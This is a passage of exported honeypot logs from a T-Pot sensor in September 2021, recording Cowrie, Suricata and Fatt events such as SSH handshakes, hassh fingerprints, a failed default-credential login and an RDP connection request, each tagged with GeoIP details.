30754	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:38:14.548991+03	2021-09-20 14:45:03.584141+03	{"_id": "9Ab_AnwBvYTbRNuE3j6-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "316fd6eedf72", "@version": "1", "duration": 2.154294490814209, "timestamp": "2021-09-20T11:38:14.548991Z", "@timestamp": "2021-09-20T11:38:14.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30755	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:38:19.66486+03	2021-09-20 14:45:03.585141+03	{"_id": "-Qb_AnwBvYTbRNuE8D4C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:38:19.545235+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1349102691111379, "payload": "AAADzAYUzcrmXaRy+dRqqIM/SO8tNAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46786, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:38:19.664860Z", "@timestamp": "2021-09-20T11:38:19.664Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........].r..j..?H.-4...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30756	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:37:55.807109+03	2021-09-20 14:45:03.587142+03	{"_id": "qAb_AnwBvYTbRNuEkj43", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:55.735655+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 459048026847655, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44221, "dest_port": 3389, "timestamp": "2021-09-20T11:37:55.807109Z", "@timestamp": "2021-09-20T11:37:55.807Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30757	94.232.41.165	109.199.241.180	Fatt	2021-09-20 14:37:55.807109+03	2021-09-20 14:45:03.588141+03	{"_id": "qwb_AnwBvYTbRNuEkz5K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 44221, "dest_port": 3389, "timestamp": "2021-09-20T11:37:55.807109", "@timestamp": "2021-09-20T11:37:55.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30758	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:38:14.59336+03	2021-09-20 14:45:03.589142+03	{"_id": "8wb_AnwBvYTbRNuE3j6-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.login.failed", "message": "login attempt [ftpadmin/admin] failed", "session": "ade489be2064", "@version": "1", "password": "admin", "username": "ftpadmin", "timestamp": "2021-09-20T11:38:14.593360Z", "@timestamp": "2021-09-20T11:38:14.593Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30760	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:38:19.664778+03	2021-09-20 14:45:03.591141+03	{"_id": "-Ab_AnwBvYTbRNuE8D4C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 1349102691111379, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46786, "dest_port": 22, "timestamp": "2021-09-20T11:38:19.664778Z", "@timestamp": "2021-09-20T11:38:19.664Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30761	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:38:00.247373+03	2021-09-20 14:45:03.593144+03	{"_id": "wQb_AnwBvYTbRNuEpD4f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "71b154e0f361", "@version": "1", "duration": 2.64451265335083, "timestamp": "2021-09-20T11:38:00.247373Z", "@timestamp": "2021-09-20T11:38:00.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30762	192.168.20.104	109.199.241.180	Suricata	2021-09-20 14:38:00.418292+03	2021-09-20 14:45:03.595171+03	{"_id": "wgb_AnwBvYTbRNuEpT7C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:38:00.418292Z", "@timestamp": "2021-09-20T11:38:00.418Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30763	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:38:19.60424+03	2021-09-20 14:45:03.596142+03	{"_id": "Bgb_AnwBvYTbRNuE8j9K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:46786 (192.168.176.2:22) [session: 42300ea02175]", "session": "42300ea02175", "@version": "1", "protocol": "ssh", "src_port": 46786, "dest_port": 22, "timestamp": "2021-09-20T11:38:19.604240Z", "@timestamp": "2021-09-20T11:38:19.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30764	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:38:19.607264+03	2021-09-20 14:45:03.597143+03	{"_id": "Bwb_AnwBvYTbRNuE8j9K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "42300ea02175", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:38:19.607264Z", "@timestamp": "2021-09-20T11:38:19.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30765	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:38:19.665419+03	2021-09-20 14:45:03.598143+03	{"_id": "CAb_AnwBvYTbRNuE8j9K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "42300ea02175", "@version": "1", "timestamp": "2021-09-20T11:38:19.665419Z", "@timestamp": "2021-09-20T11:38:19.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30768	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:23.865386+03	2021-09-20 14:45:03.602142+03	{"_id": "DQYAA3wBvYTbRNuEAD-2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57906, "timestamp": "2021-09-20T11:38:23.865386", "@timestamp": "2021-09-20T11:38:23.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30769	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:38:23.864611+03	2021-09-20 14:45:03.603142+03	{"_id": "FQYAA3wBvYTbRNuEAT_r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "fbc1e257e4da", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:38:23.864611Z", "@timestamp": "2021-09-20T11:38:23.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30770	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:38:23.946315+03	2021-09-20 14:45:03.60419+03	{"_id": "FwYAA3wBvYTbRNuEAT_r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "fbc1e257e4da", "@version": "1", "timestamp": "2021-09-20T11:38:23.946315Z", "@timestamp": "2021-09-20T11:38:23.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30771	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:38:23.945381+03	2021-09-20 14:45:03.606142+03	{"_id": "GAYAA3wBvYTbRNuEAz-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 267389408109337, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57906, "dest_port": 22, "timestamp": "2021-09-20T11:38:23.945381Z", "@timestamp": "2021-09-20T11:38:23.945Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30772	150.109.115.128	109.199.241.180	Suricata	2021-09-20 14:38:30.649327+03	2021-09-20 14:45:03.607142+03	{"_id": "MAYAA3wBvYTbRNuEGz8A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:38:30.220951+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2086978073288471, "payload": 